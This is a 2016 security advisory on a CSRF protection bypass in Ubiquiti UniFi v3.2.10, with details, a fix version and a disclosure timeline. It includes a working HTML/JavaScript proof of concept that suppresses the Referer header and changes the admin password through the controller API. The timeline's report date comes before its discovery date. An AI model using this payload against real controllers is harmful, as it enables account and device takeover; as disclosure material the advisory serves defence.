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Ubiquiti Networks UniFi v3.2.10 Generic CSRF Protection Bypass

Feb 23, 2016 · By Julien Ahrens

ADVISORY INFORMATION

  • Product: Ubiquiti Networks UniFi
  • Vendor URL: www.ubnt.com
  • CWE: Cross-Site Request Forgery [CWE-353]
  • Date found: 2015-03-19
  • Date published: 2016-02-23
  • CVSS Score: 6.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
  • CVE: -

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

UniFi v3.2.10 older versions may be affected too.

INTRODUCTION

The UniFi® Controller software is a powerful, enterprise wireless software engine ideal for high-density client deployments requiring low latency and high uptime performance. A single UniFi Controller running in the cloud can manage multiple sites: multiple, distributed deployments and multi-tenancy for managed service providers.

(from the vendor’s homepage)

VULNERABILITY DETAILS

A generic Cross-Site Request Forgery protection bypass vulnerability was identified in UniFi v3.2.10 and prior.

The application uses a CSRF protection, which is based on verifying the Referer header, but does not catch the case where the Referer header is completely missing.

This leads to a generic CSRF protection bypass, resulting in all application specific functionalities becoming vulnerable. An attacker needs to trick the victim to visit an arbitrary website in order to exploit the vulnerability. Successful exploits can allow the attacker to compromise the whole application including connected devices, e.g. by changing passwords of users, adding new users, changing device usernames and passwords or by creating new WLAN configurations.

PROOF OF CONCEPT

The following PoC changes the password of the user “admin” to “csrfpwd”:

<html>
<head>
<script>
function load() {
     var postdata = '<form id=csrf method=POST enctype=\'text\/plain\'
action=\'https://127.0.0.1:8443/api/s/default/cmd/sitemgr\'>' +
                     '<input type=hidden
name=\'json=%7B%22name%22%3A%22admin%22%2C%22x_password%22%3A%22csrfpwd%22%2C%22email%22%3A%22info%40mail.com%22%2C%22lang%22%3A%22en_US%22%2C%22cmd%22%3A%22set-self%22%7D\'
value=\'\' />' +
                     '</form>';
     top.frames[0].document.body.innerHTML=postdata;
     top.frames[0].document.getElementById('csrf').submit();
}
</script>
</head>
<body onload="load()">
<iframe src="about:blank" id="noreferer">< /iframe>
</body>
</html>

SOLUTION

Upgrade to UniFi v4.7.5 or later

REPORT TIMELINE

  • 2015-03-19: Discovery of the vulnerability
  • 2015-03-10: Reported via Ubiquiti’s Bug Bounty program (hackerone.com)
  • 2015-06-02: Vendor apologizes his backlog
  • 2015-09-28: Asking for status update via HackerOne
  • 2015-09-28: Vendor asks to test against version 4.7.5
  • 2015-10-02: Verified working fix for v4.7.5
  • 2015-10-23: Vendor changes status to “Resolved”
  • 2015-11-24: Asking for coordinated disclosure via email
  • 2015-12-08: No response from vendor
  • 2015-12-08: Requested public disclosure on HackerOne
  • 2016-01-08: Report is published automatically
  • 2016-02-23: Advisory released

REFERENCES